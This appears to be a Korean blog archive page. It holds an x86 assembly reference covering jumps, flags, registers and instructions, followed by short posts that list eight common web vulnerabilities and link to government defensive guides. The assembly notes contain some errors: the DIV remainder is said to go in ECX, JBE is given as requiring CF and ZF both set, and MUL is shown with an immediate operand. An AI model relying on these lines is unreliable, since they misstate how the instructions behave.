(부호있는) Jb : 왼쪽 인자의 값이 오른쪽 인자의 값보다 작으면 점프(부호없는) Jnb : 왼쪽 인자의 값이 오른쪽 인자의 값보다 작지 않으면(크거나 같으면) 점프 (부호없는) Jg : 왼쪽 인자의 값이 오른쪽 인자의 값보다 크면 점프 Jng : 왼쪽 인자의 값이 오른쪽 인자의 값보다 크지 않으면 (작거나 같으면) 점프 Jle : 왼쪽 인자의 값이 오른쪽 인자의 값보다 작거나 같으면점프 (부호있는) Jge : 왼쪽 인자의 값이 오른쪽 인자의 값보다 크거나 같으면 점프 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 약 이정도의 명령어들이 가장 많이 나오는 것들임으로 최소한 위에 나온것들은 외워 두도록 하자. 3. 논리연산 이글에서는 5가지 논리연산에 대해서 쓸것이다. 논리연산자는 두 오퍼렌드의 값의 비트들을 대응시켜 명령에 따른 적절한 값을 구하여 첫번쨰 오퍼렌드의 값을 바꾸어 주는것이다. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: AND 연산 대응되는 비트가 둘다 1이면 결과는 1이고 그외의 결과들은 모두 0 이 된다. ex:) MOV EAX,8 AND EAX,10 :위를 계산하기 위해 우선 두 오퍼렌드의 값을 2진수로 바꾸어 주면 8은 1000 이 되고 10은 1010 이 되고 AND 연산은 둘다 1이여야 1이 됨으로 결과는 1000 이 됩니다. OR 연산 대응되는 비트중 하나가 1 또는 둘다 1이면 결과는 1이고 그외는 모두 0이 된다. ex:) MOV EAX,8 OR EAX,10 :위를 계산하기 위해 두 오퍼렌드의 값을 2진수로 바꾸어 주면 8은 1000이 되고 10은 1010이 되고 OR 연산은 한쪽 또는 양쪽둘다 1이면 1이고그외는 모두 0 임으로 결과는 1010이 된다. XOR 연산 대응되는 비트 중에서 한비트가 1이고 다른 비트가 0이면 1이 되고 두개의 비트가 1이면 0 이 되고 두개다 0 이어도 0이 된다. ex:) MOV EAX,8 XOR EAX,10 :위를 계산하기 위해 두 오퍼렌드의 값을 2진수로 바꾸어 주면 8은 1000이 되고 10은 1010이 되고 XOR 연산은 한쪽만 1이어야 1임으로 결과는 10이 된다. NOT 연산 NOT 연산은 오퍼렌드의 값을 반대로 하여 준다. ex:) MOV EAX,10 NOT EAX :위를 계산하기 위해 오퍼렌드의 값을 2진수로 바꾸어 주면 10은 1010이 되고 NOT 연산은 1 과 0을 반대로 하여 줌으로 결과는 0101 이 된다. *Test 연산은 오퍼렌드에 영향을 주지 않으며 플래그만 세트 시키어 준다. 2.레지스터 범용 레지스터 (1) Eax 레지스터 누산기인 Eax 레지스터는 입출력과 거의 모든 산술연산에 사용된다. 곱셋과 나눗셈, 변환 명령어등은 반드시 Eax 레지스터를 필요하게 된다. Eax 레지스터는 32bit의 레지스터이고 16bit 의 레지스터로 ax가 있다. (ax는 왼쪽의 ah와 오른쪽의 al로 이루어져 있다) (2) Ebx 레지스터 Ebx는 주소지정을 확대하기 위한 인덱스로서 사용될수 있는 유일한 범용 레지스터 이며, 다른 일반적인 계산 용도로도 쓰인다. Ebx는 32bit 레지스터이고 16bit로 eb가 있다. (eb는 왼쪽의 bh와 오른쪽의 bl로 이루어져 있다) (3) Ecx 레지스터 Ecx는 루프의 반복 횟수나 좌우방향의 시프트 비트 수를 기억한다. 그외의 계산에도 사용된다. Ecx는 32bit 레지스터이고 16bit로 cx가 있다. (cx는 왼쪽의 ch와 오른쪽의 cl로 이루어져 있다.) (4) Edx 레지스터 Edx는 몇몇 입출력 동작에서 사용 된다. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 플래그 레지스터 (1) OF [Over Flow] 산술연산후 상위 비트의 오버플로를 나타냄 (2) DF [Direction] 스트링 데이터를 이동하거나 비교할떄 왼쪽 또는 오른쪽으로의 방향을 결정한다. (4) SF [Sign] 산술결과의 부호를 나타낸다.[0=양수,1=음수] (5) ZF [zero] 산술연산 또는 비교동작의 결과를 나타낸다. [0=결과가 0이 아님,1=결과가 0임] (6) CF [Carry] 산술연산후 상위 비트로부터의 캐리 그리고 시프트 또는 회전동작의 결과 마지막 비트 내용을 저장한다. (7) TF [trap] 프로세서가 단일 스텝 모드(single-step mode)를 동작할수 있도록 해준다. 5. Assembly 명령어 MOV , - Move. 값을 대입하려고 할때 사용한다. 사용 방법에는 에는 레지스터, 메모리등이 올 수 있으며 에는 와 같은 것 이외에 직접적인 값 등이 올 수 있다. Example: MOV EAX, 14h MOV EAX, DWORD PTR SS:[EBP-14] MOV DWORD PTR SS:[EBP-14], EDX MOVS, MOVSB, MOVSW, MOVSD(Move String Byte or Word or DWord) - ESI가 가르키는 곳의 값들을 Byte(1byte), Word(2byte), DWord(4byte)크기만음 EDI가 가르키는 곳으로 이동시킨다. MOVSX(Move with Sign-Extended) - Byte나 Word크기의 Operand를 Word나 DWord사이즈로 늘려준다. 부호는 유지된다. MOVZX(Move with Zero-Extended) - Byte나 Word크기의 Operand를 Word나 DWord사이즈로 늘려준다. 연산 후 채워지지 않은 공간에는 0으로 매꾼다. INT - Interrupt. 해당 Value에 따른 Interrupt를 발생시킨다. 에 해당하는 것들이 너무 많으므로 다음에 더욱 자세하게 다루기로 하자. Example: INT 21h ADD , - Addition. 간단하다. +한 값을 에 저장한다. 에는 레지스터, 메모리등이 올 수 있으며 에는 와 같은 것 이외에 직접적인 값 등이 올 수 있다. Example: MOV EAX, 5h MOV EBX, 12h ADD EAX, 5h ; EAX에는 5h + 5h = Ah(10진수로 10)가 저장된다. ADD EAX, EBX ; EAX에는 Ah + 12h = 1Ch(10진수로 28)가 저장된다. SUB , - Subtact. ADD명령어와 사용법은 동일하다. 단지 기능은 빼주는 역할이라는거! Example: MOV EAX, 4h SUB EAX, 3h ; EAX에는 4h - 3h = 1h가 저장된다. INC - Increments. 타겟의 값에서 1을 증가시킨다. 에는 레지스터, 메모리등이 올 수 있으며, 직접적인 값은 불가능하다. Example: MOV EAX, 4h INC EAX ; EAX에는 4h에서 1증가된 값인 5h가 저장된다. DEC - Decrements. 타겟의 값에서 1을 감소시킨다. 에는 레지스터, 메모리등이 올 수 있으며, 직접적인 값은 불가능하다. Example: MOV EAX, 4h DEC EAX ; EAX에는 4h에서 1감수한 값인 3h가 저장된다. JMP - Jump. 어떠한 장소로 점프한다. 쉽게 생각해서 GOTO문을 생각하면 될것이다. 에는 점프할 곳의 코드주소를 담고있는 레지스터나 메모리등이 올 수 있다. Example: JMP 0041D983 JMP DWORD PTR SS:[EBP-14] ** Conditional JUMP ** JMP명령어와 같다. 단지 조건에 따라서 Jump할지 안할지가 결정되므로 Conditional Jump라고 하겠다. Conditional JUMP는 CMP명령어와 같이 사용된다. CMP , - 두 타겟을 비교해서 Flag Register를 변경시킨다. 보다 작으면 CF가 Set되고, 같으면 ZF가 Set되고 이런것 들이 있긴하지만, 다음에 왠만하면 Conditional Jump가 있기때문에 Jump문 의미로 이해하도록 하고 CMP로 인한 Flag 변화는 그냥 넘어가도록 하겠다. Example: CMP EAX, EBX Unsigned JA(JUMP if ABOVE) CF=0 and ZF=0 JAE(JUMP if ABOVE or EQUAL) CF=0 JB(JUMP if BELOW) CF=1 JBE(JUMP if BELOW or EQUAL) CF=1 and ZF=1 JNA(JUMP if NOT ABOVE) CF=1 or ZF=1 JNAE(JUMP if NOT ABOVE or EQUAL) CF=1 JNB(JUMP if NOT BELOW) CF=0 JNBE(JUMP if NOW BELOW or EQUAL) CF=0 and ZF=0 JE(JUMP if EQUAL) ZF=1 JNE(JUMP if NOT EQUAL) ZF=0 Signed JG(JUMP if GREATER) ZF=0 and SF=OF JGE(JUMP if GREATER or EQUAL) SF=OF JL(JUMP if LOWER) SF!=OF JLE(JUMP if LOWER or EQUAL) ZF=1 and SF!=OF JNG(JUMP if NOT GREATER) ZF=1 or SF!=OF JNGE(JUMP if NOT GREATER or EQUAL) SF!=OF JNL(JUMP if NOT LOWER) SF=OF JNLE(JUMP if NOT LOWER or EQUAL) ZF=0 and SF=OF JE(JUMP if EQUAL) ZF=1 JNE(JUMP if NOT EQUAL) ZF=0 Flag JC(JUMP if CARRY flag set) CF=1 JNC(JUMP if NOT CARRY flag set) CF=0 JO(JUMP if OVERFLOW flag set) OF=1 JNO(JUMP if NOT OVERFLOW flag set) OF=0 JP(JUMP if PARITY flag set) PF=1 JNP(JUMP if NOT PARITY flag set) PF=0 JPE(JUMP if PARITY is EVEN) PF=1 JPO(JUMP if PARITY is ODD) PF=0 JS(JUMP if SIGNAL flag set) SF=1 JNS(JUMP if NOT SIGNAL flag set) SF=0 JCXZ(JUMP if CX is ZERO) CX=0 AND , - Logical AND. 논리회로에 있어서의 AND연산을 수행한다. 그리고 AND연산을 시행할때, OF, CF는 초기화되고, ZF는 Set될 수 있다. Example: AND EAX, EBX CALL - Call. 말그대로 함수를 부를때 사용한다. Jump와 같다고 느껴질지도 모르지만 Call문을 시행할 경우 스택에 Call문이 시행된것을 Push를 하며 Return이 가능하다. Example: CALL 0041D983 CALL DWORD PTR [EBX] DIV - Division. EAX를 으로 나누는 연산이다. 결과로 몫은EAX에 나머지는 ECX에 들어간다. Example: MOV EAX, 64h MOV ECX, 9h DIV ECX ; 64h(100) / 9h(9) = 몫 : 0Bh(11) , 나머지 1h이므로 EAX = 0Bh, ECX = 1h가 저장된다. IDIV - Integer Division. DIV와 똑같다. 하지만 다른점은 부호있는 정수를 다룬다는 점이다. MUL - Multiplication. EAX와 을 곱하여 EAX에 저장한다. Example: MOV EAX, 2h MUL 4h ; EAX에는 2h * 4h = 8h가 저장된다. IMUL - Integer Multiplication. EAX와 를 곱하여 EAX에 저장한다. IMUL , - 를 곱하여 에 저장한다. IMUL , , - 2개의 를 곱한 후에 에 저장한다. LEA , - Load Effective Address. 의 실제 주소를 에 저장한다. 하지만 이 용도보다는 빠른 계산을 위해 주로 사용된다. 예를들어 LEA EAX, DWORD PTR [2*EAX+ECX]를 하면, EAX에 2*EAX+ECX계산값이 들어가게 된다. NOP - No Operation. 아무것도 하지 않는다. OR , - Logical OR. 논리회로에 있어서의 OR연산을 수행한다. 그리고 OR연산을 시행할때, OF, CF는 초기화되고, ZF는 Set될 수 있다. Example: OR EAX, EBX POP - POP. 스택에서 ESP가 가르키는 곳에서 주소값을 불러내어 에 저장한다. 그리고 ESP는 다음값을 가르키게 된다. Example: POP EAX PUSH - 스택에 를 집어넣는다. ESP는 최근에 PUSH한 값을 가르키게 된다. Example: PUSH EAX RET - Return. 스택에서 주소를 POP해온 후 그 주소로 돌아간다. PUSH와 RET을 조합해서 JMP처럼 사용 할 수 있다. TEST , - 이 연산은 대부분이 가 같게 설정된다. 예를들면 TEST EAX, EAX. 이 연산은 논리회로의 AND연산을 수행하지만 결과값을 저장하지 않는다. 단지 EAX=0일경우 ZF=1이 되고 EAX!=0일경우 ZF=0이 된다. 그리고 OF, CF는 0이된다. Example: TEST EAX, EAX XOR , - Logical Exclusive OR. 논리회로에 있어서 XOR연산을 수행한다. XOR연산을 시행할때, OF, CF는 초기화되고, ZF는 Set될 수 있다. 이 연산은 XOR EAX, EAX처럼 많이 사용되는데, 이렇게 할 경우 XOR=0이 된다. 이유는 직접 해보면 알것이다. Example: XOR EAX, EBX XOR EAX, EAX ; EAX=0이 됨. LODS, LODSB, LODSW, LODSD(Load String Byte, Word, DWord) - ESI가 가르키는 곳에서 지정한 크기(Byte, Word, DWord) 만큼 읽어와 EAX에 복사한다. ESI는 복사한만큼 이동한다. STOS, STOSB, STOSW, STOSD(Store String Byte, Word, DWord) - EAX에 들어이있는 데이터를 지정한 크기만큼 EDI가 가르키는 주소에 복사한다. EDI는 복사된 만큼 이동한다. CLD(Clear Direction flag), STD(Set Direction flag) - Direction Flag를 Set하거나 Clear할때 사용한다. CMC(Complement Carry flag), CLC(Clear Carry flag), STC(Set Carry flag) - Carry flag를 순서대로 반전, Clear, Set시킨다. SHL , - Shift Logical Left. 만큼 Shift연산을 왼쪽으로 수행한다. 만약 보다 커질경우 CF=1이 된다. SHR , - Shift Logical Right. SHL과 기능은 동일하며 Shift연산이 오른쪽으로 진행된다. ROL , - Rotate Left. SHL과 기능은 동일하다. 단지 자리수가 늘어날경우 해당 비트가 오른쪽 끝으로 이동한다. ROR , - Rotate Reft. SHR과 기능은 동일하다. 단지 자리수가 없어질경우 해당 비트가 왼쪽 끝으로 이동한다. 1. 나눗셈 연산의 피젯수는(32bit의 나눗셈을 가정) 항상 edx:eax 이다. 2. cdq 는 나눗셈을 위해 피젯수의 사이즈를 확장하는 것이다. 나눗셈연산(div, idiv)은 eax와 edx에 의해서만 이루어집니다 - 피젯수(나눔을 당하는 수) 는 eax, edx에만 들어갈 수 있다는 얘기에요 16 / 5 연산을 한다고 가정해 봅시다. 16과 5 둘다 32bit data라고 가정하구요 그럼 일단 eax에 16을 넣습니다. 그 다음 ebx(다른레지스터나 메모리도 상관없음)에 5를 넣습니다. 그 다음 div 연산을 하면.........될것 같지만 안됩니다.. 일반적으로 제수(여기서는 5)가 32bit이면 피젯수(여기서는 16) 는 64bit가 되어야 32bit 값을 가지는 몫을 얻을 수 있습니다. 그래서 피젯수의 bit를 확장 시켜주는것이 바로 cdq 연산입니다 32bit 크기의 eax의 값을 64bit의 값인 edx:eax로 만들어줍니다. 여기서 edx는 상위자리가되고 eax는 하위 자리가 되죠 자..그럼 cdq 연산까지 끝났으면 edx:eax에 16이 들어가있고 ebx에 5가 들어있겠네요 그럼 idiv연산을 해봅시다(div는 부호가없는 나눗셈 idiv 부호가 있는 나눗셈) 그럼 몫과 나머지가 나와야 하겠죠? 그 결과는 다시 eax와 edx로 들어가는데 eax에는 몫이, edx에는 나머지 부분이 들어갑니다~ 로드 라이브러리 겟프락어드레스 후에 변하지 않는 레지스터는 EBX EBP ESI EDI 이다 http://www.acacia.pe.kr/zbxe/13791
이올린에 북마크하기
2008/09/17 13:51 2008/09/17 13:51

국정원 발표 8대 취약점

Posted at 2008/05/07 10:07 // in Security // by 엔신
국가사이버안전센터(NCSC)에서 국내 각 기관에서 홈페이지 해킹에 많이 악용되었던 보안취약점 8종을 선정하고 발표한 문서이며 8개 항목은 다음과 같습니다.

1. 디렉토리 리스팅 취약점
2. 파일 다운로드 취약점
3. 크로스사이트 스크립트 취약점
4. 파일 업로드 취약점
5. WebDAV 취약점
6. 테크노트(Technote) 취약점
7. 제로보드(Zeroboard) 취약점
8. SQL Injection 취약점

참고 : http://www.ncsc.go.kr/

http://www.nshc.net/bbs/view.php?id=sec_news02&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=59
이올린에 북마크하기
2008/05/07 10:07 2008/05/07 10:07

키사

Posted at 2008/04/02 16:16 // in Security // by 엔신
< 웹해킹 방어를 위한 KrCERT/CC 권고 사항>

※ 공개웹방화벽 전용 홈페이지 안내(방화벽 설치 시 주요 웹해킹 방어가능)

 o 공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ 등의 정보 제공
   - http://www.krcert.or.kr/firewall/index.htm


※ 무료 웹취약점 점검을 신청(정보보호 인력이 부족한 중소기업 또는 소규모 비영리 단체를 대상으로 서비스 제공)

 o 무료 홈페이지 취약점 점검서비스 신청하러가기
   - http://webcheck.krcert.or.kr 

※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.

 o 홈페이지 개발 보안 가이드
   - http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp 

 o 웹 보안 4종 가이드 
   - http://www.kisa.or.kr/kisa/notics/popup/2008/popup_200801_websecureguide.html 

 o 침해사고 분석절차 가이드 
   - http://www.krcert.or.kr/docDown.jsp?dn=10 

 o PHP웹 게시판 취약점 관련 사고분석 및 보안대책 
   - http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005001.pdf&docNo=IN2005001 

 o SQL Injection 취약점을 이용한 윈도우즈 웹서버 사고 사례 
   - http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005014.pdf&docNo=IN2005014  

 o 웹 해킹을 통한 악성 코드 유포 사이트 사고 사례 
   - http://www.krcert.or.kr/unimDocsDownload.do?fileName1=050629-IN-2005-012.pdf&docNo=IN2005012 

 o ARP Spoofing 기법을 이용한 웹 페이지 악성코드 삽입 사례 
   - http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2007003.pdf&docNo=IN2007003&docKind=3 

궁금하신점은 한국정보보호진흥원 상황실(02-405-5091~5094)로 연락바랍니다.

감사합니다.
이올린에 북마크하기
2008/04/02 16:16 2008/04/02 16:16

보안서버구축가이드_v10(초안)

Posted at 2008/03/25 10:08 // in Security // by 엔신
보안서버구축가이드_v10(초안)
이올린에 북마크하기
2008/03/25 10:08 2008/03/25 10:08

홈페이지 개발 보안 가이드

Posted at 2006/11/12 19:22 // in Security // by 엔신
http://home.megapass.co.kr/~darkhi/20050427_homepage_security_guide.pdf
2005년 4월자 정보통신부 KISA 주관
받아놓고 보니 페이지가 만만치않아서 본적 없는 간지
이올린에 북마크하기
2006/11/12 19:22 2006/11/12 19:22